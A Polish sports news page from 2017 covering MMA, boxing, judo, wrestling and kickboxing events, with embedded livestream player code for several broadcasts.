Federacja Fight Exclusive Night to największy w Polsce organizator gal walk na zasadach MMA i K-1. Zrzesza ponad 50 zawodników z całego świata w tym kobiety, w 12 kategoriach wagowych. W tej chwili przystępuje do organizacji 18 gali, która odbędzie się w Koszalinie.

[kod]

LIVE: FEN 18 Summer Edition – Trening Medialny

Zapraszamy na transmisję telewizyjną na żywo z treningu medialnego przed galą FEN 18 Summer Edition. Studio, zaproszeni goście i inne ciekawe rzeczy czekaja na Was podczas transmisji.

[kod]

LIVE: FEN 18 Summer Edition – Trening Medialny

LIVE: FEN 18 Summer Edition – Trening Medialny

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/FEN15.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/FEN15.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/FEN15.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/FEN15.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: FEN 18 Summer Edition – Ceremonia Ważenia

Zapraszamy na transmisję telewizyjną na żywo z oficjalnej ceremonii ważenia przed galą FEN 18 Summer Edition. Studio, zaproszeni goście i inne ciekawe rzeczy czekaja na Was podczas transmisji.

[kod]

LIVE: FEN 18 Summer Edition – Ceremonia ważenia

LIVE: FEN 18 Summer Edition – Ceremonia ważenia

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/FEN15.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/FEN15.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/FEN15.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/FEN15.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: Zgrupowanie kadry Polski K-1 PZKB – Zakopane 2017

Zapraszamy na ekskluzywną transmisję telewizyjną na żywo ze zgrupowania kadry Polski K-1 Polskiego Związku Kickboxingu w Zakopanem.

[kod]

Zgrupowanie Kadry K-1 Zakopane 2017

Zgrupowanie Kadry K-1 Zakopane 2017

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/PZKB_Zakopane2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/PZKB_Zakopane2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/PZKB_Zakopane2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/PZKB_Zakopane2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});

22 mocarzy zaprezentuje się w Ergo Arenie

Jedenaście pojedynków zaplanowali organizatorzy gali ACB 63, która już 1 lipca odbędzie się w Ergo Arenie. Kibice z Trójmiasta zobaczą w akcji rodzimych zawodników m.in. Piotra Hallmanna, Kacpra Formelę, Sebastiana Przybysza czy Ireneusza Szydłowskiego.

MMA w najlepszym wydaniu. Absolute Championship Berkut to uznana światowa marka, w której nie brakuje mocnych nazwisk. Dotychczas w Polsce odbyły się cztery gale ACB.

Celiński w roli głównej

Karol Celiński miał mocne wejście do organizacji ACB. W lutym w Olsztynie pokonał przed czasem Łukasza Parobca. Dla popularnego „Cebuli” był to powrót do MMA po blisko dwuletniej przerwie. Wygrana w efektownym stylu sprawiła, że Celiński podczas gali ACB 63 w Ergo Arenie wystąpi w walce wieczoru. Jego rywalem będzie Viny Magalhaes.

Polski półciężki nie ma najlepszych wspomnień z rywalizacji w trójmiejskiej Ergo Arenie. W maju 2015 roku, na KSW 31, już w pierwszej rundzie poddał go Tomasz Narkun. Tym razem Celiński również nie będzie miał łatwego zadania. Vinny Magalhaes zdobywał tytuły mistrzowskie w takich organizacjach jak M-1 Global czy Titan FC. Do perfekcji opanował submission. Przez lata był czołowym zawodnikiem IBJJF. Co do MMA, Brazylijczyk stoczył 22 walki, z których 14 wygrał, w tym aż 11 przez poddanie. 32-latek ma za sobą również przygodę w UFC.

ACB coraz bardziej „polskie”

1 lipca w Ergo Arenie odbędzie się już piąta gala ACB w Polsce. Wcześniej rosyjska organizacja gościła w Płocku, Warszawie i dwukrotnie w Olsztynie. Teraz wybór padł na Trójmiasto, choć pierwotnie gala miała odbyć się w Newcastle. Władze organizacji w związku z zagrożeniem terrorystycznym zdecydowały się na zmianę lokalizacji.

Polscy kibice MMA będą mieli okazję skosztować kolejny smakowity kąsek. W karcie walk aż roi się od zawodników znad Wisły. Ciekawie zapowiada się starcie byłego fightera UFC, który ostatnio próbował swoich sił w FEN Piotra Hallmanna z Adrianem Zielińskim. 30-latek debiutował w ACB półtora roku temu, kiedy to przegrał z Andriejem Koszkinem. 

W Ergo Arenie zaprezentuje się Przemysław Mysiala, który doświadczenie zdobywał na galach w Wielkiej Brytanii. Jego ostatni występ w Polsce to FEN 12 we Wrocławiu. W piątej rundzie Mysiala poddał Marcina Zontka. Na ACB 63 Polak zmierzy się Wallysonem Carvalho.

Trzecią walkę dla rosyjskiej organizacji stoczy Piotr Strus, który spotka się z Andy'm Deventem.

Karta walk gali ACB 63:

93 kg: Karol Celiński – Vinny Magalhaes 
84 kg: Piotr Strus – Andy Devent 
93 kg: Luke Barnatt – Max Nunes 
70 kg: Adrian Zieliński – Piotr Hallmann 
84 kg: Maciej Rózański – Nikola Dipchikov 
77 kg: Ireneusz Szydłowski – Paweł Kiełek 
77 kg: Patrik Kincl – Igor Fernandes 
93 kg: Przemysław Mysiala – Wallyson Carvalho 
77 kg: Mindaugas Verzbickas – Kamil Gniadek 
66 kg: Armen Stepanyan – Kacper Formela 
61 kg: Sebastian Przybysz – Jakub Wikłacz 

fot. abcmma.com

KM

Na podbój Kowna

Dwa lata temu w Sofii srebro zawisło na szyi Macieja Krogulskiego (73kg), rok temu z fińskiego miasta Vantaa Polacy wracali z pustymi rękami. Czy w Kownie do biało-czerwonych uśmiechnie się szczęście? 30 czerwca startują mistrzostwa Europy kadetów w judo. Impreza potrwa do 2 lipca.

Historia Kowna sięga XIV wieku. Losy miasta, tak jak i całego kraju, ściśle powiązane są z Polską. Jeszcze w 1919 roku blisko połowę jego mieszkańców stanowili Polacy. W dwudziestoleciu międzywojennym Kowno było stolicą Litwy. To niezwykle urokliwe miasto, które warto odwiedzić. A nadarza się szczególna okazja ku temu. W dniach 30 czerwca – 2 lipca w Kownie odbędą się mistrzostwa Europy kadetów w judo. Emocje sportowe połączone z odkrywaniem historii – to znakomity pomysł na chwilę wytchnienia.

Przez Giżycko do Kowna

Historyczna bliskość Litwy i Polski, która często staje się również przedmiotem sporu, to dodatkowy podtekst występu biało-czerwonych w Kownie. Startujący w mistrzostwach Europy znają dzieje narodów jedynie ze szkoły. Ale dla Polski medal zdobyty na Litwie będzie miał szczególny wymiar. Zwłaszcza, że nasi kadeci czekają na sukces w europejskim czempionacie i liczą na dobry wynik. Rok temu w Finlandii musieli obejść się smakiem. Biało-czerwoni szybko pożegnali się z rywalizacją, a bezkonkurencyjni okazali się Rosjanie, którzy z dorobkiem dziewięciu medali triumfowali w klasyfikacji końcowej przed Francją (pięć) i Serbią (cztery).

Ostatnia polska zdobycz na mistrzostwach Europy kadetów to srebro Macieja Krogulskiego (73kg) w 2015 roku. Trzy lata temu biało-czerwoni świętowali zdobycie czterech medali. Po srebrne krążki sięgnęły Anna Dąbrowska (57kg) i Anita Formela (+70kg), zaś Julia Kowalczyk (57kg) i Kamila Pasternak (+70kg) stanęły na najniższym stopniu podium. Czy w Kownie biało-czerwoni nawiążą do tamtych osiągnięć?

Nasza kadra do mistrzostw Europy przygotowywała się w Giżycku. Na zgrupowaniu biało-czerwoni pracowali z pełnym zaangażowaniem, co ma dać efekty na tatami w Kownie. Należy mieć nadzieję na dobre wyniki, biorąc pod uwagę dyspozycję naszych kadrowiczów. Natalia Kropska (57kg) triumfowała w Berlinie, zaś Nikola Szlachta (44kg) w Follonicy, a Marta Kuraś (48kg) w Zagrzebiu. Osiągnięciami może pochwalić się również Adam Stodolski (73kg). 17-latek wygrał w Teplicach i był trzeci w Bielsku.

Kto powalczy o medale?

Wśród kadetek w rywalizacji indywidualnej zaprezentują się: Alicja Gowarzewska (-40kg), Nikola Szlachta (-44kg), Marta Kuraś (-48kg), Natalia Kropska (-57kg), Kinga Wolszczak (+70kg) , Aleksandra Gaj (+70kg). Z kolei w drużynie wystąpią także: Agata Pałka (-52kg) i Agata Szafran (-63kg). O medale wśród kadetów będą walczyć: Marcin Kowalski (-55kg) i Adam Stodolski (-73kg). W składzie drużyny są: Jakub Biedrzycki i Igor Matusiak (-60kg), Jakub Pankowski (-66kg), Bartosz Szaniawski (-81kg) oraz Norbert Ślusarz (+81kg).

KM

Supron na czele polskich zapasów

Andrzej Supron wygrał kolejną walkę. Tym razem o fotel prezesa Polskiego Związku Zapaśniczego, na którym będzie zasiadał do 2020 roku.

Ostatnie tygodnie w polskich zapasach były niezwykle gorące, ale nie za sprawą emocji sportowych, lecz zmian personalnych „na górze”.

Nowy król

24 czerwca w Warszawie odbyło się Nadzwyczajne Walne Zgromadzenie Delegatów Polskiego Związku Zapaśniczego. Szykowała się pasjonująca walka, bo na placu boju pojawili się znakomici zawodnicy: Andrzej Supron i Andrzej Wroński. Obaj rywalizowali o fotel prezesa Polskiego Związku Zapaśniczego. Z 97 upoważnionych osób, w Warszawie zjawiło się 85 delegatów. Wygrał Supron, który uzyskał 51 głosów. Z kolei Andrzej Wroński zdobył poparcie 33 delegatów.

Wicemistrz olimpijski z Moskwy nie krył radości ze zwycięstwa. – Przyszedł ten moment, gdzie spotkała mnie miła przyjemność uzyskania odpowiedniej ilości głosów, żeby zostać prezesem Polskiego Związku Zapaśniczego, a co najważniejsze prezesem ukochanych moich zapasów – powiedział Andrzej Supron.

64-latek doskonale zdaje sobie sprawę z sytuacji polskich zapasów. Wierzy, że wspólny wysiłek wyda owoce. – Zrobię wszystko, żeby zapasy wróciły na zasłużone miejsce. Robię wszystko, aby pozyskać odpowiednie środki do realizacji naprawdę trudnych zadań. Wiem, że czeka mnie ciężka praca. Zapasy są w tej chwili w trudnej sytuacji. Toteż przy pomocy ludzi związanych z zapasami i mam nadzieję, że wspólnie pokonamy te wszystkie trudności. To będzie gwarant tego, że może w którymś momencie będziemy się cieszyli z kolejnych sukcesów naszych zapaśniczek i zapaśników – tłumaczy nowy prezes PZZ.

Zawirowania

W maju ze stanowiskiem prezesa PZZ pożegnał się Grzegorz Brudziński, który funkcję pełnił od listopada. Najpierw zawodnik, a później sędzia pozostawił w pokonanym polu m.in. Wrońskiego i Suprona. Praca Brudzińskiego budziła wątpliwości związkowych delegatów. Pojawiły się zarzuty dotyczące niekompetencji i generowania nadmiernych kosztów, co poskutkowało odwołaniem go ze stanowiska podczas zjazdu PZZ, który odbył się 14 maja.

Do czasu zwołania Walnego Zjazdu Sprawozdawczo-Wyborczego pełnienie funkcji prezesa powierzono Andrzejowi Wrońskiemu. Legendarny zapaśnik, zdaniem wielu, znalazł się na właściwym miejscu. Po kilku tygodniach musi ustąpić miejsca Supronowi. Wicemistrz olimpijski z Moskwy to nie tylko utytułowany zapaśnik, ale postać powszechnie znana i szanowana. Supron wraz ze swoimi współpracownikami ma czas, aby nadać polskim zapasom nowy blask. Za trzy lata w Tokio wszyscy będą mogli powiedzieć: sprawdzamy!

KM

Piechota zmierza po pas

W sobotę (24 czerwca) Oskar Piechota stanie przed szansą zdobycia pasa mistrzowskiego kategorii średniej organizacji Cage Warriors. Na gali w Bournemouth Polak zmierzy się z Jasonem Radcliffem. Kolejną walkę w UFC stoczy Damian Grabowski, który 22 lipca spotka się z Chasem Shermanem. Michał Kita, ostatnio występujący na galach KSW, wystąpi w Pradze.

Oskar Piechota to jeden z najbardziej perspektywicznych zawodników wagi średniej MMA w Polsce. Jeśli zdobędzie pas Cage Warriors, może być o nim naprawdę głośno.

Od zwycięstwa do zwycięstwa

Przygoda 27-letniego Piechoty ze sportami walki zaczęła się od submission. Zawodnik zdobywał tytuły mistrza Europy i mistrza kraju, triumfował także w Pucharach Polski. Pierwszą walkę w MMA stoczył w marcu 2011 roku. Piechota w niecałą minutę uporał się z Patrykiem Kanią, którego poddał przez duszenie trójkąta rękoma.

Ciężka praca sprawiła, że „Imadło” stał się czołową postacią wagi średniej w Polsce. O Piechocie mówi się już w kontekście angażu w UFC. Tak naprawdę wszystko przed nim, a zdobycie pasa Cage Warriors może być dla Polaka trampoliną do najlepszej organizacji MMA na świecie. A w oktagonie Piechota prezentuje się bez zarzutu. Osiem walk wygrał przed czasem, w tym cztery w pierwszej rundzie. W ostatnim pojedynku, na Spartan Fight 7, pokonał w premierowej odsłonie Sergio Souzę po niespełna 40 sekundach.

24 czerwca w Bournemouth Polak będzie mógł otworzyć nowy rozdział w karierze. Na gali Cage Warriors 85 Piechota zmierzy się z Jasonem Radcliffem. Anglik ma znakomitą passę sześciu zwycięstw z rzędu. „The Assassin” ma potężny cios, aż 7 z 11 walk wygrał przez nokaut.

Czekają na zwycięstwo

Damian Grabowski nie ma dobrej passy w UFC. Po sukcesach w M-1 Challenge, przyszedł zimny prysznic. 37-letni fighter przegrał przed czasem z Derrickiem Lewisem i Anthony'm Hamiltonem. 22 lipca na gali UFC on Fox 25 Polak zmierzy się z Chasem Shermanem. Po początkowych problemach w UFC, 27-letni Amerykanin wyszedł na prostą. Zaczął od dwóch porażek, jednak na UFC 211 znokautował w Rashada Coultera. Grabowski będzie musiał stanąć na wysokości zadania. W przypadku porażki jego sytuacja w UFC skomplikuje się.

Michał Kita rusza do Pragi. 25 czerwca polski zawodnik wagi ciężkiej zaprezentuje się na gali XFN, a jego rywalem będzie Victor Pesta. Kibice MMA mogli ostatnio podziwiać 37-letniego Kitę w KSW. W trzech walkach doświadczony zawodnik zanotował jedno zwycięstwo, w październiku 2016 roku pokonał Michała Włodarka. Kilka tygodni temu na stadionie PGE Narodowy w Warszawie po upływie 74 sekund przegrał z Michałem Andryszakiem. 

W znacznie trudniejszym położeniu znajduje się Victor Pesta. 26-letni Czech musi odbudować swoją pozycję po trzech porażkach w UFC. Pogromcą Pesty był m.in. Marcin Tybura. 

fot. sherdog.com

KM

Byli mistrzowie w natarciu

Tomasz Adamek, Krzysztof Głowacki i Mateusz Masternak – to gwiazdy sobotniej (24 czerwca) gali Polsat Boxing Night 7, która odbędzie się w gdańskiej Ergo Arenie. Wspólnym mianownikiem dla wspomnianych bokserów jest fakt, że kiedyś byli mistrzami. W Gdańsku chcą potwierdzić swoje możliwość i przypomnieć o sobie. O piękno gali zadba tymczasowa mistrzyni świata WBO w kategorii super piórkowej Ewa Brodnicka, która zmierzy się z Marisol Reyes.

Nic nie jest dane nie zawsze. Dlatego też swojej zdobyczy należy bronić jak lew i robić wszystko, aby jak najdłużej pozostać w jej posiadaniu. Mordercze walki Tomasza Adamka sprawiły, że stał się ulubieńcem tłumów. Krzysztof Głowacki rozbił mocnego Marco Hucka i sięgnął po pas WBO w wadze junior ciężkiej, ale szybko go stracił. Każdy ma swoją historię, ale pisaną w różny sposób. W Gdańsku byli mistrzowie będą chcieli udowodnić, że nie powiedzieli jeszcze ostatniego słowa.

Mocne nazwiska w cenie

Gwiazdy napędzają widowisko, przyciągają tłumy. W przypadku gali Polsat Boxing Night 7 mamy do czynienia ze śmietanką polskiego boksu. Adamek, Głowacki, Masternak to pięściarze, których wielbiono i czczono. Obecnie stają przed wyzwaniem, aby wrócić na szczyt. W przypadku „Górala” mówiło się już o definitywnym zakończeniu kariery. Bokser, dla którego wielu kibiców zarywała noce, przegrał w kwietniu ubiegłego roku w Krakowie z Ericem Moliną. W dziesiątej rundzie Amerykanin rozbił Polaka. 

Mistrz IBF i IBO w kategorii junior ciężkiej, WBO w kategorii półciężkiej oraz pretendent do pasa WBC w wadze ciężkiej. 40-letni Adamek tworzył piękną historię i spełniał swój amerykański sen. Emocjonujące walki z Paulem Briggsem, tytuły, a później próba podbicia wagi ciężkiej. Zaczęło się od Gołoty, a skończyło na Molinie. Ale liczba walk Adamka nie zatrzyma się na 55, będzie 56 pojedynek. W Ergo Arenie urodzony w Żywcu pięściarz zmierzy się z Solomonem Haumono. 41-letniemu Australijczyk po raz drugi będzie walczył poza Australią i Nową Zelandią. W grudniu 2012 roku udał się do Japonii, gdzie wygrał przed czasem z Kyotaro Fujimoto. Haumono potrafi zaszokować rywala i posłać go na deski. 21 z 24 zwycięstw odniósł przed czasem, zanotował trzy porażki. Ostatnią w lipcu 2016 roku z Josephem Parkerem.

Co to była za walka! Dosłownie ringowa wojna. Wspaniałe wymiany, ogromna wola walki ze strony głównych aktorów widowiska, potężne ciosy i ręka Polaka w górze. Piękny sen Krzysztofa Głowackiego spełnił się blisko dwa lata temu. W Newark Polak pokonał przez nokaut w jedenastej rundzie Marco Hucka i zdobyła pas mistrza świata WBO w kategorii junior ciężkiej. Z zasiadania na tronie bokser z Wałcza cieszył się zaledwie rok. Pokonał Steve'a Cunninghama, ale w Gdańsku musiał uznać wyższość Oleksandra Usyka. Teraz Głowacki wraca do Ergo Areny, gdzie spotka się z Hiznim Altunkayą. Początkowo Polak miał rywalizować z Brianem Howardem, jednak na przeszkodzie stanęły problemy wizowe. Altunkaya rysuje się jednak jako trudny rywal. 29-letni Turek nie poniósł porażki na zawodowym ringu. Dotychczas prezentował się w Niemczech, gdzie zanotował 29 zwycięstw. Triumf w starciu z Głowackim może pozwolić mu znaleźć się w gronie czołowych pięściarzy wagi junior ciężkiej. Ale Polak jest bardzo zmotywowany. Głowacki chce zatrzeć złe wspomnienia z walki z Usykiem i wrócić na zwycięską ścieżkę.

Obiecujący pięściarz,  w którym tkwią ogromne możliwości – tak przez lata przedstawiano Mateusza Masternaka. W grudniu 2012 roku „Master” sięgnął w Norymberdze po tytuł mistrza Europy EBU w wadze junior ciężkiej pokonując na punkty Juho Haapoję. Długo się nim nie nacieszył, bo niecały rok później stracił go na rzecz Grigorija Drozda. Były marzenia o walce o mistrzostwo świata, jednak Masternak dobre pojedynki przeplatał słabszymi. Niespodziewanie przegrał z Yourim Kalengą, potem wygrał trzy starcia, w tym z Jeanem-Markiem Mormeckiem. A dwa lata temu w RPA zanotował kontrowersyjną porażką z Johnny'm Mullerem. Losy Masternaka tak się ułożyły, że ponownie miał szansę zdobyć mistrzostwo Europy, jednak lepszy okazał się Tonny Bellew. Dwie kolejne walki stoczył w Polsce i poprawił swój rekord. Masternak ma na koncie 38 zwycięstw. A jego najbliższy rywal, Ismayl Sillah, tylko 25. Ponad trzy lata temu 32-latek miał okazję walczyć o tytuł WBO. Przegrał w drugiej rundzie z Siergiej Kowaliowem. Sillah ma za sobą bogatą karierę amatorską, podczas której stoczył 370 pojedynków. Masternak musi uważać, gdyż jego rywala jest niezwykle aktywny, agresywny i skuteczny. 19 walk rozstrzygnął na swoją korzyść przed czasem.

Blask królowej

W męskim towarzystwie nie może zabraknąć pięknych kobiet. Podczas gali Polsat Boxing Night 7 odbędzie się tylko jedna walka z udziałem pań. Niezwykle urodziwa Ewa Brodnicka zmierzy się z Marisol Reyes. Brodnicka zachwyca urodą, a także skutecznością w ringu. Wygrała wszystkie trzynaście walk i może pochwalić się tymczasowym pasem WBO w kategorii super piórkowej. Starcie z Mariosl Reyes ma być ważnym krokiem na drodze do unifikacyjnej walki z Ramoną Kuhne. Jednak Polka nie może wybiegać myślami zbyt daleko. Blisko 38-letnia bokserka z Dominikany trzy razy walczyła o tytuł mistrzyni świata, jednak za każdym razem w innej kategorii. Nie zapisała jednak na swoim koncie żadnego pasa. Łącznie stoczyła 26 walk, z których 15 wygrała. 

W Gdańsku zaprezentuje się także niepokonany w wadze średniej Maciej Sulęcki. 28-latek ma za sobą epizod w Stanach Zjednoczonych, gdzie stoczył cztery walki i wszystkie wygrał przed czasem. Jego najbliższym rywalem będzie Damian Ezequiel Boneli, który imponuje skutecznością w Argentynie. Drugą walkę w Polsce stoczy Łukasz Wierzbicki. Niepokonany pięściarz kategorii junior półśredniej zmierzy się z urodzonym w Chorzowie Robertem Tlatlikiem, który dotychczas rywalizował w Niemczech.

Podczas Polsat Boxing Night w ringu zaprezentują się także doświadczony Łukasz Janik, którzy podejmie Adama Balskiego oraz Norbert Dąbrowski i Robert Talarek.

KM

Polacy na „piątkę”

26 medali wywalczyli reprezentanci Polski podczas Pucharu Świata WAKO w kickboxingu we włoskim Rimini (15-18 czerwca). Biało-czerwoni zajęli piąte miejsce w klasyfikacji generalnej.

Zawody Bestfighter w Rimini to niezwykle prestiżowa impreza w kickboxerskim kalendarzu. W tym roku Puchar Świata miał szczególne znaczenie dla tych, którzy przygotowują się do startu w World Games 2017 we Wrocławiu.

W drodze do Wrocławia

W ubiegłorocznej edycji Pucharu Świata w Rimini Polacy sięgnęli po 18 złotych, 16 srebrnych i 27 brązowych medali (razem z juniorami). Ten wynik dał im czwartą pozycję wśród startujących w rywalizacji. W zawodach zaprezentowało ponad 1000 zawodników. Regułą jest, że zmagania w Rimini są mocno, a także licznie obsadzone. Nie inaczej było podczas tegorocznej edycji imprezy. Do udziału w rywalizacji zgłosiło się ponad 1800 kickboxerów w 317 kategoriach.

Rimini było ważnym testem dla reprezentantów Polski, którzy przygotowują się do startu w lipcowych Światowych Igrzyskach Sportowych we Wrocławiu. W Rimini zaprezentowało się ich czworo. Z jakim efektem? Po złoto sięgnęła Małgorzata Dymus (na zdjęciu) Zawodniczka Puchera Wrocław (56kg) bezdyskusyjnie pokonała Emilie Sarkozy z Francji, ale w finale musiała być uważna i w pełni skoncentrowana. Natalia Babintseva postawiła Polce trudne warunki, ale Dymus wygrała niejednogłośną decyzją sędziów. Skutecznością wykazał się Marcin Kret (71kg). Dwie wygrane walki dały zawodnikowi Uniq Warszawa złoto. Na najwyższym stopniu podium stanął również Arkadiusz Kaszuba (81kg). Z brązem z Rimini wraca Michał Ronkiewicz (75kg). Polak przegrał walkę z Ukraińcem Oleksandrem Shcherbyną.

Wspomniana czwórka, pod okiem Tomaszów Skrzypka i Mamulskiego, przygotowuje się do Światowych Igrzysk Sportowych (20-30 lipca). We Wrocławiu wystartuje dziewięcioro polskich kickboxerów rywalizujących w K-1. Oprócz Dymus, Kreta, Kaszuby i Ronkiewicza będą to: Marta Waliczek (60kg), Róża Gumienna (65kg), Dawid Kasperski (86kg) oraz Mateusz Pluta (91kg) i Michał Turyński (+91kg).

Dominacja gospodarzy

W Rimini Włosi nie pozostawili złudzeń, kto dzierży palmę pierwszeństwa w kickboxingu. Rzecz jasna trzeba mieć na uwadze fakt, że gospodarz ma swoje prawa. Liczba startujących przełożyła się na medale. Italia sięgnęła po 364 krążki, w tym 101 złotych. Na drugim stopniu podium Rosjanie z 176 medalami, zaś trzecia Słowenia zaledwie z… 67. Polaków wyprzedzili jeszcze Norwegowie (56).

Biało-czerwoni zapisali na swoim koncie 26 medali, w tym 12 złotych. Z dobrej strony pokazała się nasza młodzież. W kick-light na pierwszym stopniu podium stanął Armin Wilczewski (13/15 65kg) oraz Paweł Chrzanowski (+80kg), zaś Klara Piętak (65kg), Adrian Sulewski (74kg) oraz Klaudiusz Świstulski (79kg) triumfowali w light contact. W swoich kategoriach wygrywali również m.in. Anna Piętka (kick-light, 55kg) oraz mający za sobą liczne triumfy Kamil Ruta (86kg) oraz Łukasz Kaczmarczyk (71kg) w low kick.

Fot. PZKb

KM

Warsaw Sports Group OPEN 2017

Warsaw Sports Group OPEN 2017

[kod]

WARSAW SPORTS GROUP OPEN 2017 (25.000 $ + H)

WARSAW SPORTS GROUP OPEN 2017 (25.000 $ + H)

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/LegiaTenis2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/LegiaTenis2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/LegiaTenis2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/LegiaTenis2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Joanna Jędrzejczyk na obozie treningowym LFN Team

Po zwycięskim pojedynku w Dallas i kolejnej obronie pasa mistrzowskiego, najlepsza na świecie polska zawodniczka MMA wróciła do kraju i w połowie czerwca weźmie udział w obozie sparingowym Ladies Fight Night – JJCamp. Joanna Jędrzejczyk poprowadzi treningi najzdolniejszych polskich fighterek jedynej w Europie żeńskiej organizacji sportów walki, otwierające przygotowania do kolejnej gali LFN. Treningi w Łodzi będą także okazją do spotkania „oko w oko” z przeciwniczką, z którą Asia debiutowała w MMA.

JJCamp w Łodzi

Obóz sparingowy LFN Team już po raz drugi odbędzie się w Łodzi, gdzie w 2015 roku powstał projekt Ladies Fight Night. W dniach 15-18 czerwca, zawodniczki żeńskiej organizacji będą trenowały w Fight Club Łódź, szlifując formę przed kolejną galą LFN. Mocnym akcentem sportowym obozu będą treningi z Mistrzynią Świata MMA Joanną Jędrzejczyk.

– JJCamp i współpraca z Asią to konsekwentne dążenie do zapewnienia naszym zawodniczkom tego co najlepsze. Cieszymy się, że dziewczyny z LFN Team będą mogły wymienić doświadczenia sportowe z najlepszą zawodniczką MMA na świecie. – mówi Łukasz Chmal, prezes organizacji Ladies Fight Night. – Zaplanowaliśmy cztery wspólne sesje treningowe, dwie w piątek i kolejne w sobotę. Wierzymy, że zaowocuje to jeszcze wyższym poziomem sportowym naszych gal i świetnymi walkami dziewczyn w klatkoringu. – dodaje Łukasz Chmal.

Spotkanie po latach Jędrzejczyk vs Juśkiewicz

Joanna Jędrzejczyk debiutowała w zawodowym pojedynku MMA 19 maja 2012 roku. Jej prze-ciwniczką była również debiutantka, dziś zawodniczka LFN Team, Sylwia Juśkiewicz. Po dwurun-dowej walce sędziowie orzekli wtedy zwycięstwo na punkty obecnej Mistrzyni Świata. Po pięciu latach Joanna Jędrzejczyk i Sylwia Juśkiewicz znów będą miały okazję spotkać się w kalatkoringu, tym razem podczas sesji treningowych. Od czasu debiutu Sylwia „Mała” Juśkiewicz (6-4) stoczyła 9 pojedynków w MMA. Podczas ostatniej gali Ladies Fight Night „Five Points” w Poznaniu, „Mała” dała widowiskowy popis swoich umiejętności, pewnie pokonując swoją rywalkę z Ukrainy. Sama o sobie mówi, że chce być najlepsza, a pojedynek z Jędrzejczyk przegrała tylko jednym punktem.

Gala Ladies Fight Night „IRA” w sierpniu

Obóz treningowy w Łodzi rozpocznie przygotowania do szóstej gali organizacji Ladies Fight Night zatytułowanej „Ira”, co po łacinie znaczy „gniew”. Po udanych organizacyjnie i sportowo eventach w Łodzi, Warszawie, Karpaczu i Poznaniu włodarze zapowiadają teraz letnie spotkanie z fanami kobiecego MMA i K-1 nad morzem. Gala planowana jest na drugą połowę sierpnia.

Za ideą stworzenia Ladies Fight Night, pierwszej w Europie żeńskiej organizacji sportów walki, stało przeświadczenie włodarzy o konieczności dania kobietom pola do występów – szerszego niż tylko incydentalne pojedynki na galach w Polsce. – Taka sytuacja jeszcze dwa lata temu, powodowała, że większość utalentowanych sportowo dziewcząt – takich jak Joanna Jędrzejczyk – musiało szukać szczęścia za granicą. Dziś mogą zdobywać doświadczenie w kraju. – mówi Łukasz Chmal.

Zapowiedź obozu sparingowego LFN z udziałem Joanny Jędrzejczyk

Już wkrótce w dniach 15-18 czerwca w Fight Club Łódź odbędzie się już trzeci obóz sparingowy organizacji Ladies Fight Night. Po raz kolejny najzdolniejsze zawodniczki znad Wisły w formułach MMA oraz K-1 spotkają się na sali treningowej. Gościem specjalnym będzie jedyna i niepowtarzalna mistrzyni UFC w kategorii słomkowej Joanna Jędrzejczyk, która to poprowadzi dwa dni treningów. Obóz jest pierwszym etapem przygotowań do sierpniowej gali LFN. To będzie już szósta gala organizacji, tym razem pod nazwą "Ira" – co po łacinie oznacza "gniew".

[kod]

LIVE: Ladies Fight Night – JJCamp

Po udanym obozie treningowym w legendarnym Mike's Gym w Amsterdamie nadszedł czas na kolejne duże przedsięwzięcie – obóz sparingowy z Joanną Jędrzejczyk! Zapraszamy na transmisję telewizyjną na żywo.

[kod]

Ladies Fight Night – JJCamp

Ladies Fight Night – JJCamp

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/LFN5.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/LFN5.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/LFN5.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/LFN5.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Wielki rewanż o krok?

Dwaj wielcy pięściarze wagi ciężkiej mają spotkać się ponownie. W kwietniu triumfował Anthony Joshua, jednak Władimir Kliczko dostanie jeszcze jedną szansę na powrót na szczyt wagi ciężkiej. Pojedynek miałby odbyć się w jesienią.

Kubrat Pulew jest pretendentem do pasa IBF wagi ciężkiej i to on powinien walczyć z Joshuą. Jednak federacja postanowiła pójść na rękę czempionowi. Joshua może stoczyć rewanżowy pojedynek z Władimirem Kliczko. Zwycięzca spotka się z Pulewem nie później niż 2 grudnia.

Kolejne widowisko?

